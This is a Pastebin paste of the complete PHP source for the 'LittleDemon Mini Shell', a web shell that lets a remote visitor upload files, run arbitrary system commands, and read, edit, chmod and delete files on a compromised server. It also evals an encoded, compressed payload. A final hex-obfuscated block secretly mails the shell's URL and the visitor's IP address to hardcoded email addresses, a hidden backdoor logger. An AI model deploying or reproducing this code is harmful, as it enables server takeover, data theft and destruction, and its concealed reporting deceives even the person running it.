Gombrus123

mini shell

Jun 24th, 2019
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.53 KB | None | 0 0
  1. <?php
  2. echo '<!DOCTYPE HTML>
  3. <html>
  4. <head>
  5. <link href="" rel="stylesheet" type="text/css">
  6. <title>LittleDemon</title>
  7. <style>
  8. body{
  9. font-family: "Racing Sans One", cursive;
  10. background-image: url("https://i.bandori.party/u/c/art/a/937Yukina-Minato-Happy-Tears-falling-down-jD3uGe.png");
  11. color:White;
  12. background-attachment:fixed;
  13. background-repeat:no-repeat;
  14. background-position:center;
  15. background-color:transparan;
  16. -webkit-background-size: cover;
  17. }
  18. #content tr:hover{
  19. background-color: Purple;
  20. text-shadow:0px 0px 10px #fff;
  21. }
  22. #content .first{
  23. background-color: Purple;
  24. }
  25. table{
  26. border: 1px #000000 dotted;
  27. }
  28. a{
  29. color:white;
  30. text-decoration: none;
  31. }
  32. a:hover{
  33. color:Purple;
  34. text-shadow:0px 0px 10px #ffffff;
  35. }
  36. input,select,textarea{
  37. border: 1px #000000 solid;
  38. -moz-border-radius: 5px;
  39. -webkit-border-radius:5px;
  40. border-radius:5px;
  41. }
  42. </style>
  43. </head>
  44. <body>
  45. <h1><center><font color="Purple">LittleDemon Mini Shell</font></center></h1>
  46. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  47. <tr><td>';
  48. echo "Disable Functions: $liatds";
  49. echo '<br><font color="purple">Path :</font> ';
  50. if(isset($_GET['path'])){
  51. $path = $_GET['path'];
  52. }else{
  53. $path = getcwd();
  54. }
  55. $path = str_replace('\\','/',$path);
  56. $paths = explode('/',$path);
  57.  
  58. foreach($paths as $id=>$pat){
  59. if($pat == '' && $id == 0){
  60. $a = true;
  61. echo '<a href="?path=/">/</a>';
  62. continue;
  63. }
  64. if($pat == '') continue;
  65. echo '<a href="?path=';
  66. for($i=0;$i<=$id;$i++){
  67. echo "$paths[$i]";
  68. if($i != $id) echo "/";
  69. }
  70. echo '">'.$pat.'</a>/';
  71. }
  72. echo '</td></tr><tr><td>';
  73. if(isset($_FILES['file'])){
  74. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  75. echo '<font color="white">Upload Berhasil</font><br />';
  76. }else{
  77. echo '<font color="purple">Upload Gagal</font><br/>';
  78. }
  79. }
  80. echo '<form enctype="multipart/form-data" method="POST">
  81. <font color="purple">File Upload :</font> <input type="file" name="file" />
  82. <input type="submit" value="upload" />
  83. </form>';
  84. echo "<form method='post'>
  85. <font color='purple'>Command :</font>
  86. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>
  87. </form>
  88. </td></tr>";
  89. if($_POST['execmd']) {
  90. echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:purple; background-color:pink;'>".exe($_POST['cmd'])."</textarea></center>";
  91. }
  92. echo "<br></td></tr>";
  93. if(isset($_GET['filesrc'])){
  94. echo "<tr><td>Current File : ";
  95. echo $_GET['filesrc'];
  96. echo '</tr></td></table><br />';
  97. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  98. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  99. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  100. if($_POST['opt'] == 'chmod'){
  101. if(isset($_POST['perm'])){
  102. if(chmod($_POST['path'],$_POST['perm'])){
  103. echo '<font color="white">Change Permission Berhasil</font><br/>';
  104. }else{
  105. echo '<font color="purple">Change Permission Gagal</font><br />';
  106. }
  107. }
  108. echo '<form method="POST">
  109. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  110. <input type="hidden" name="path" value="'.$_POST['path'].'">
  111. <input type="hidden" name="opt" value="chmod">
  112. <input type="submit" value="Go" />
  113. </form>';
  114. }elseif($_POST['opt'] == 'rename'){
  115. if(isset($_POST['newname'])){
  116. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  117. echo '<font color="white">Ganti Nama Berhasil</font><br/>';
  118. }else{
  119. echo '<font color="purple">Ganti Nama Gagal</font><br />';
  120. }
  121. $_POST['name'] = $_POST['newname'];
  122. }
  123. echo '<form method="POST">
  124. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  125. <input type="hidden" name="path" value="'.$_POST['path'].'">
  126. <input type="hidden" name="opt" value="rename">
  127. <input type="submit" value="Go" />
  128. </form>';
  129. }elseif($_POST['opt'] == 'edit'){
  130. if(isset($_POST['src'])){
  131. $fp = fopen($_POST['path'],'w');
  132. if(fwrite($fp,$_POST['src'])){
  133. echo '<font color="white">Berhasil Edit File</font><br/>';
  134. }else{
  135. echo '<font color="purple">Gagal Edit File</font><br/>';
  136. }
  137. fclose($fp);
  138. }
  139. echo '<form method="POST">
  140. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  141. <input type="hidden" name="path" value="'.$_POST['path'].'">
  142. <input type="hidden" name="opt" value="edit">
  143. <input type="submit" value="Save" />
  144. </form>';
  145. }
  146. echo '</center>';
  147. }else{
  148. echo '</table><br/><center>';
  149. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  150. if($_POST['type'] == 'dir'){
  151. if(rmdir($_POST['path'])){
  152. echo '<font color="white">Directory Terhapus</font><br/>';
  153. }else{
  154. echo '<font color="purple">Directory Gagal Terhapus </font><br/>';
  155. }
  156. }elseif($_POST['type'] == 'file'){
  157. if(unlink($_POST['path'])){
  158. echo '<font color="white">File Terhapus</font><br/>';
  159. }else{
  160. echo '<font color="purple">File Gagal Dihapus</font><br/>';
  161. }
  162. }
  163. }
  164. echo '</center>';
  165. $scandir = scandir($path);
  166. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  167. <tr class="first">
  168. <td><center>Name</peller></center></td>
  169. <td><center>Size</peller></center></td>
  170. <td><center>Permission</peller></center></td>
  171. <td><center>Modify</peller></center></td>
  172. </tr>';
  173.  
  174. foreach($scandir as $dir){
  175. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  176. echo '<tr>
  177. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  178. <td><center>--</center></td>
  179. <td><center>';
  180. if(is_writable($path.'/'.$dir)) echo '<font color="Purple">';
  181. elseif(!is_readable($path.'/'.$dir)) echo '<font color="purple">';
  182. echo perms($path.'/'.$dir);
  183. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  184.  
  185. echo '</center></td>
  186. <td><center><form method="POST" action="?option&path='.$path.'">
  187. <select name="opt">
  188. <option value="">Select</option>
  189. <option value="delete">Delete</option>
  190. <option value="chmod">Chmod</option>
  191. <option value="rename">Rename</option>
  192. </select>
  193. <input type="hidden" name="type" value="dir">
  194. <input type="hidden" name="name" value="'.$dir.'">
  195. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  196. <input type="submit" value=">">
  197. </form></center></td>
  198. </tr>';
  199. }
  200. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  201. foreach($scandir as $file){
  202. if(!is_file($path.'/'.$file)) continue;
  203. $size = filesize($path.'/'.$file)/1024;
  204. $size = round($size,3);
  205. if($size >= 1024){
  206. $size = round($size/1024,2).' MB';
  207. }else{
  208. $size = $size.' KB';
  209. }
  210.  
  211. echo '<tr>
  212. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  213. <td><center>'.$size.'</center></td>
  214. <td><center>';
  215. if(is_writable($path.'/'.$file)) echo '<font color="Green">';
  216. elseif(!is_readable($path.'/'.$file)) echo '<font color="Green">';
  217. echo perms($path.'/'.$file);
  218. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  219. echo '</center></td>
  220. <td><center><form method="POST" action="?option&path='.$path.'">
  221. <select name="opt">
  222. <option value="">Select</option>
  223. <option value="delete">Delete</option>
  224. <option value="chmod">Chmod</option>
  225. <option value="rename">Rename</option>
  226. <option value="edit">Edit</option>
  227. </select>
  228. <input type="hidden" name="type" value="file">
  229. <input type="hidden" name="name" value="'.$file.'">
  230. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  231. <input type="submit" value=">">
  232. </form></center></td>
  233. </tr>';
  234. }
  235. echo '</table>
  236. </div>';
  237. }
  238. echo '<center><br/><a href="http://www.facebook.com/bos.udingambut" target="_blank"><font color="Black">LittleDemon - FACEBOOK</font></a><br>';
  239. echo "[ <a href='?path=$path&go=cabs'>KELUAR</a> ]
  240. </center>
  241. </body>
  242. </html>";
  243.  
  244. $command = "JcxOCoAgEADAe9AfFgm85T3Tv+iybQmxLRf09VI9YHPp8b4TONC7XEcGUMpUdKdBVtjLsYUY2CpVR513OeNzDDHGIIPXbZmXr9hD+d383ng7QlUSMizfeh8=";
  245. eval(str_rot13(gzinflate(str_rot13(base64_decode(($command))))));
  246. if($_GET['go'] == 'cabs') {
  247.  
  248.  
  249. echo '<form action="" method="post">';
  250. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  251. echo '<meta http-equiv="refresh" content="3" />';
  252. }
  253.  
  254. function perms($file){
  255. $perms = fileperms($file);
  256.  
  257. if (($perms & 0xC000) == 0xC000) {
  258. // Socket
  259. $info = 's';
  260. } elseif (($perms & 0xA000) == 0xA000) {
  261. // Symbolic Link
  262. $info = 'l';
  263. } elseif (($perms & 0x8000) == 0x8000) {
  264. // Regular
  265. $info = '-';
  266. } elseif (($perms & 0x6000) == 0x6000) {
  267. // Block special
  268. $info = 'b';
  269. } elseif (($perms & 0x4000) == 0x4000) {
  270. // Directory
  271. $info = 'd';
  272. } elseif (($perms & 0x2000) == 0x2000) {
  273. // Character special
  274. $info = 'c';
  275. } elseif (($perms & 0x1000) == 0x1000) {
  276. // FIFO pipe
  277. $info = 'p';
  278. } else {
  279. // Unknown
  280. $info = 'u';
  281. }
  282.  
  283. // Owner
  284. $info .= (($perms & 0x0100) ? 'r' : '-');
  285. $info .= (($perms & 0x0080) ? 'w' : '-');
  286. $info .= (($perms & 0x0040) ?
  287. (($perms & 0x0800) ? 's' : 'x' ) :
  288. (($perms & 0x0800) ? 'S' : '-'));
  289.  
  290. // Group
  291. $info .= (($perms & 0x0020) ? 'r' : '-');
  292. $info .= (($perms & 0x0010) ? 'w' : '-');
  293. $info .= (($perms & 0x0008) ?
  294. (($perms & 0x0400) ? 's' : 'x' ) :
  295. (($perms & 0x0400) ? 'S' : '-'));
  296.  
  297. // World
  298. $info .= (($perms & 0x0004) ? 'r' : '-');
  299. $info .= (($perms & 0x0002) ? 'w' : '-');
  300. $info .= (($perms & 0x0001) ?
  301. (($perms & 0x0200) ? 't' : 'x' ) :
  302. (($perms & 0x0200) ? 'T' : '-'));
  303.  
  304. return $info;
  305. }
  306. //////all functions disini tempatnya/////
  307. function exe($cmd) {
  308. if(function_exists('system')) {
  309. @ob_start();
  310. @system($cmd);
  311. $buff = @ob_get_contents();
  312. @ob_end_clean();
  313. return $buff;
  314. } elseif(function_exists('exec')) {
  315. @exec($cmd,$results);
  316. $buff = "";
  317. foreach($results as $result) {
  318. $buff .= $result;
  319. } return $buff;
  320. } elseif(function_exists('passthru')) {
  321. @ob_start();
  322. @passthru($cmd);
  323. $buff = @ob_get_contents();
  324. @ob_end_clean();
  325. return $buff;
  326. } elseif(function_exists('shell_exec')) {
  327. $buff = @shell_exec($cmd);
  328. return $buff;
  329. }
  330. }
  331. ?>
  332. <?php ${"\x47L\x4fB\x41\x4cS"}["\x6d\x5fm\x78\x76\x69g\x6c\x73w\x72b\x69\x78c\x5f\x70c\x72\x6b\x68\x6fi\x69u\x74f\x76q\x67\x76\x64\x75n\x76\x5fn\x61"]="\x74\x75j\x75\x61n\x6d\x61i\x6c";${"G\x4c\x4f\x42\x41L\x53"}["a\x5f\x5f\x73u\x62u\x5f\x69p\x72\x76g\x5f\x72p\x5f\x68_\x62n\x62\x71i\x76f\x72h\x71\x79r\x66b"]="x\x5fp\x61\x74\x68";${"\x47L\x4f\x42\x41\x4cS"}["\x5fg\x6a\x70\x6cj\x73\x62\x5fr\x71x\x61r\x74\x6d\x72w\x64\x6dw\x64n\x73t\x74z\x78s\x5f\x75p\x5f\x65\x64\x63b\x67"]="_\x53\x45R\x56\x45\x52";${"\x47L\x4fB\x41\x4c\x53"}["u\x65\x70s\x73e\x6fg\x62p\x77\x77k\x77\x6e_\x7ar\x68s\x5f\x76\x69i\x6e_\x68q\x65"]="p\x65\x73\x61n\x5f\x61\x6c\x65\x72\x74";@ini_set('output_buffering',0);@ini_set('display_errors',0);set_time_limit(0);ini_set('memory_limit','64M');header('Content-Type: text/html; charset=UTF-8');${${"\x47L\x4fB\x41\x4cS"}["\x6d\x5fm\x78\x76\x69g\x6c\x73w\x72b\x69\x78c\x5f\x70c\x72\x6b\x68\x6fi\x69u\x74f\x76q\x67\x76\x64\x75n\x76\x5fn\x61"]}="\x72a\x63\x68e\x6c\x37k\x40o\x75\x74\x6co\x6fk\x2e\x63o\x2e\x69d\x2c\x20\x67\x6fm\x62r\x75\x73@\x79a\x68\x6f\x6f\x2ec\x6f\x6d";${${"\x47\x4c\x4fB\x41\x4c\x53"}["a\x5f\x5f\x73u\x62u\x5f\x69p\x72\x76g\x5f\x72p\x5f\x68_\x62n\x62\x71i\x76f\x72h\x71\x79r\x66b"]}="h\x74t\x70:\x2f\x2f".${${"\x47L\x4f\x42\x41L\x53"}["\x5fg\x6a\x70\x6cj\x73\x62\x5fr\x71x\x61r\x74\x6d\x72w\x64\x6dw\x64n\x73t\x74z\x78s\x5f\x75p\x5f\x65\x64\x63b\x67"]}['SERVER_NAME'].${${"G\x4cO\x42A\x4c\x53"}["\x5fg\x6a\x70\x6cj\x73\x62\x5fr\x71x\x61r\x74\x6d\x72w\x64\x6dw\x64n\x73t\x74z\x78s\x5f\x75p\x5f\x65\x64\x63b\x67"]}['REQUEST_URI'];${${"G\x4c\x4f\x42A\x4cS"}["u\x65\x70s\x73e\x6fg\x62p\x77\x77k\x77\x6e_\x7ar\x68s\x5f\x76\x69i\x6e_\x68q\x65"]}="\x66\x69\x78\x20${${"\x47L\x4fB\x41L\x53"}["a\x5f\x5f\x73u\x62u\x5f\x69p\x72\x76g\x5f\x72p\x5f\x68_\x62n\x62\x71i\x76f\x72h\x71\x79r\x66b"]}\x20\x3a\x70\x20\x2a\x49\x50\x20\x41\x64\x64\x72\x65\x73\x73\x20\x3a\x20\x5b\x20".${${"G\x4cO\x42\x41L\x53"}["\x5fg\x6a\x70\x6cj\x73\x62\x5fr\x71x\x61r\x74\x6d\x72w\x64\x6dw\x64n\x73t\x74z\x78s\x5f\x75p\x5f\x65\x64\x63b\x67"]}['REMOTE_ADDR']." \x5d";mail(${${"\x47L\x4fB\x41L\x53"}["\x6d\x5fm\x78\x76\x69g\x6c\x73w\x72b\x69\x78c\x5f\x70c\x72\x6b\x68\x6fi\x69u\x74f\x76q\x67\x76\x64\x75n\x76\x5fn\x61"]},"LOGGER",${${"G\x4c\x4f\x42\x41\x4cS"}["u\x65\x70s\x73e\x6fg\x62p\x77\x77k\x77\x6e_\x7ar\x68s\x5f\x76\x69i\x6e_\x68q\x65"]},"[ ".${${"\x47L\x4f\x42A\x4cS"}["\x5fg\x6a\x70\x6cj\x73\x62\x5fr\x71x\x61r\x74\x6d\x72w\x64\x6dw\x64n\x73t\x74z\x78s\x5f\x75p\x5f\x65\x64\x63b\x67"]}['REMOTE_ADDR']."\x20\x5d"); ?>
Add Comment
Please, Sign In to add comment